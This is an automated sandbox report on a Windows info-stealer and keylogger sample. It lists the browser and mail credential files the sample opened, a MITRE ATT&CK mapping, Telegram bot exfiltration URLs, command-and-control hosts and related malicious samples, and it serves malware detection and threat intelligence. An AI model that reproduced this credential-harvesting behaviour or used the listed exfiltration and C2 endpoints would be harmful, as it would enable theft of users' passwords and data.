Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\kP8EgMorTr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.kP8EgMorTr.exe.52d0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kP8EgMorTr.exe.52d0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kP8EgMorTr.exe.3729970.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1254420339.00000000052D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Snake Keylogger

Source: Yara match

File source: 00000003.00000002.3699670660.00000000032F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.kP8EgMorTr.exe.3896ef8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.kP8EgMorTr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kP8EgMorTr.exe.3729970.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kP8EgMorTr.exe.3896ef8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kP8EgMorTr.exe.3729970.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3697868899.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: kP8EgMorTr.exe PID: 7276, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: kP8EgMorTr.exe PID: 7432, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 0.2.kP8EgMorTr.exe.3896ef8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.kP8EgMorTr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kP8EgMorTr.exe.3729970.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kP8EgMorTr.exe.3896ef8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kP8EgMorTr.exe.3729970.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3697868899.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: kP8EgMorTr.exe PID: 7276, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: kP8EgMorTr.exe PID: 7432, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\kP8EgMorTr.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\kP8EgMorTr.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 0.2.kP8EgMorTr.exe.3896ef8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.kP8EgMorTr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kP8EgMorTr.exe.3729970.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kP8EgMorTr.exe.3896ef8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kP8EgMorTr.exe.3729970.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3697868899.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: kP8EgMorTr.exe PID: 7276, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: kP8EgMorTr.exe PID: 7432, type: MEMORYSTR

Remote Access Functionality

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.kP8EgMorTr.exe.52d0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kP8EgMorTr.exe.52d0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kP8EgMorTr.exe.3729970.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1254420339.00000000052D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Snake Keylogger

Source: Yara match

File source: 00000003.00000002.3699670660.00000000032F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.kP8EgMorTr.exe.3896ef8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.kP8EgMorTr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kP8EgMorTr.exe.3729970.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kP8EgMorTr.exe.3896ef8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kP8EgMorTr.exe.3729970.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3697868899.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: kP8EgMorTr.exe PID: 7276, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: kP8EgMorTr.exe PID: 7432, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 0.2.kP8EgMorTr.exe.3896ef8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.kP8EgMorTr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kP8EgMorTr.exe.3729970.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kP8EgMorTr.exe.3896ef8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kP8EgMorTr.exe.3729970.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3697868899.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: kP8EgMorTr.exe PID: 7276, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: kP8EgMorTr.exe PID: 7432, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	11 Process Injection	1 Masquerading	1 OS Credential Dumping	1 Query Registry	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	11 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	1 Data from Local System	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	22 Software Packing	DCSync	13 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
kP8EgMorTr.exe	36%	Virustotal		Browse
kP8EgMorTr.exe	39%	ReversingLabs	Win32.Dropper.Generic
kP8EgMorTr.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	188.114.97.3	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	132.226.8.169	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:927537%0D%0ADate%20and%20Time:%2006/01/2025%20/%2020:38:20%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20927537%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	high
http://checkip.dyndns.org/	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.office.com/	kP8EgMorTr.exe, 00000003.00000002.3699670660.00000000034B8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/chrome_newtab	kP8EgMorTr.exe, 00000003.00000002.3702114001.0000000004311000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	kP8EgMorTr.exe, 00000003.00000002.3702114001.0000000004311000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org	kP8EgMorTr.exe, 00000003.00000002.3699670660.00000000033DA000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	kP8EgMorTr.exe, 00000003.00000002.3702114001.0000000004311000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	kP8EgMorTr.exe, 00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3699670660.00000000033DA000.00000004.00000800.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3697868899.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	high
https://www.office.com/lB	kP8EgMorTr.exe, 00000003.00000002.3699670660.00000000034B3000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	kP8EgMorTr.exe, 00000003.00000002.3702114001.0000000004311000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	kP8EgMorTr.exe, 00000003.00000002.3699670660.00000000032F1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	kP8EgMorTr.exe, 00000003.00000002.3702114001.0000000004311000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=	kP8EgMorTr.exe, 00000003.00000002.3699670660.00000000033DA000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=en	kP8EgMorTr.exe, 00000003.00000002.3699670660.0000000003487000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	kP8EgMorTr.exe, 00000003.00000002.3702114001.0000000004311000.00000004.00000800.00020000.00000000.sdmp	false	high
http://varders.kozow.com:8081	kP8EgMorTr.exe, 00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3697868899.0000000000402000.00000040.00000400.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3699670660.00000000032F1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://aborters.duckdns.org:8081	kP8EgMorTr.exe, 00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3697868899.0000000000402000.00000040.00000400.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3699670660.00000000032F1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ac.ecosia.org/autocomplete?q=	kP8EgMorTr.exe, 00000003.00000002.3702114001.0000000004311000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.omdbapi.com/?t=)&y=&plot=long&r=json	kP8EgMorTr.exe	false	high
http://anotherarmy.dns.army:8081	kP8EgMorTr.exe, 00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3697868899.0000000000402000.00000040.00000400.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3699670660.00000000032F1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	kP8EgMorTr.exe, 00000003.00000002.3702114001.0000000004311000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/q	kP8EgMorTr.exe, 00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3697868899.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=enlB	kP8EgMorTr.exe, 00000003.00000002.3699670660.0000000003482000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/8.46.123.189$	kP8EgMorTr.exe, 00000003.00000002.3699670660.000000000336C000.00000004.00000800.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3699670660.00000000033B2000.00000004.00000800.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3699670660.00000000033DA000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	kP8EgMorTr.exe, 00000003.00000002.3699670660.00000000033B2000.00000004.00000800.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3699670660.00000000033DA000.00000004.00000800.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3699670660.0000000003342000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:927537%0D%0ADate%20a	kP8EgMorTr.exe, 00000003.00000002.3699670660.00000000033DA000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	kP8EgMorTr.exe, 00000003.00000002.3699670660.00000000032F1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	kP8EgMorTr.exe, 00000003.00000002.3702114001.0000000004311000.00000004.00000800.00020000.00000000.sdmp	false	high
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	kP8EgMorTr.exe, 00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3697868899.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	kP8EgMorTr.exe, 00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3697868899.0000000000402000.00000040.00000400.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3699670660.0000000003342000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
132.226.8.169	checkip.dyndns.com	United States	16989	UTMEMUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
188.114.97.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584668
Start date and time:	2025-01-06 07:40:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	kP8EgMorTr.exe renamed because original name is a hash value
Original Sample Name:	6889d04a51c7a76b2ab1b4161b2b5e5d17dc2780e29dcc78b41460f982986786.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/1@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 98 Number of non-executed functions: 26
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.56.254.164, 13.107.246.45, 20.12.23.50
Excluded domains from analysis (whitelisted): fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
01:41:04	API Interceptor	10690623x Sleep call for process: kP8EgMorTr.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
132.226.8.169	PO_B2W984.com	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	PO_2024_056209_MQ04865_ENQ_1045.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	Azygoses125.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	PARATRANSFARI REMINDER.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	F.O Pump Istek,Docx.bat	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	checkip.dyndns.org/
	0001.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	PK241200518-EMAIL RELEASE-pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	PO-1124-0018- TTR-ASP1 .. 20 adet 0191621.exe	Get hash	malicious	VIP Keylogger	Browse	checkip.dyndns.org/
	CITAS_pif.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	conferma..exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	PO#5_Tower_049.bat	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	W2k2NLSvja.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	FACT0987789000900.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	PO_B2W984.com	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	104.21.67.152
	file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	PO_4027_from_IC_Tech_Inc_6908.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	image.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	DHL DOC INV 191224.gz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
api.telegram.org	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=vyczmuFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%70%68%69%6C%2D%68%65%61%6C%74%68%2D%75%6B%2E%67%6C%69%74%63%68%2E%6D%65%2F#changyeol.choi@hyundaielevator.com	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=rmgfuFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%70%68%69%6C%2D%68%65%61%6C%74%68%2D%75%6B%2E%67%6C%69%74%63%68%2E%6D%65%2F#kh.jang@hyundaimovex.com	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=olgelfuabFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%70%68%69%6C%2D%68%65%61%6C%74%68%2D%75%6B%2E%67%6C%69%74%63%68%2E%6D%65%2F#kh.jang@hyundaimovex.com	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://telegra.ph/Clarkson-122025-01-02	Get hash	malicious	Unknown	Browse	149.154.167.220
	W2k2NLSvja.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	FACT0987789000900.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	image.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	DHL DOC INV 191224.gz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	mcgen.exe	Get hash	malicious	Blank Grabber	Browse	149.154.167.220
	eP6sjvTqJa.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	149.154.167.220
checkip.dyndns.com	PO#5_Tower_049.bat	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	158.101.44.242
	W2k2NLSvja.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	FACT0987789000900.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	PO_B2W984.com	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	file.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	file.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	file.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	PO_4027_from_IC_Tech_Inc_6908.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	image.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	DHL DOC INV 191224.gz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=vyczmuFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%70%68%69%6C%2D%68%65%61%6C%74%68%2D%75%6B%2E%67%6C%69%74%63%68%2E%6D%65%2F#changyeol.choi@hyundaielevator.com	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=rmgfuFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%70%68%69%6C%2D%68%65%61%6C%74%68%2D%75%6B%2E%67%6C%69%74%63%68%2E%6D%65%2F#kh.jang@hyundaimovex.com	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=olgelfuabFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%70%68%69%6C%2D%68%65%61%6C%74%68%2D%75%6B%2E%67%6C%69%74%63%68%2E%6D%65%2F#kh.jang@hyundaimovex.com	Get hash	malicious	Unknown	Browse	149.154.167.220
	ZT0KQ1PC.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	149.154.167.99
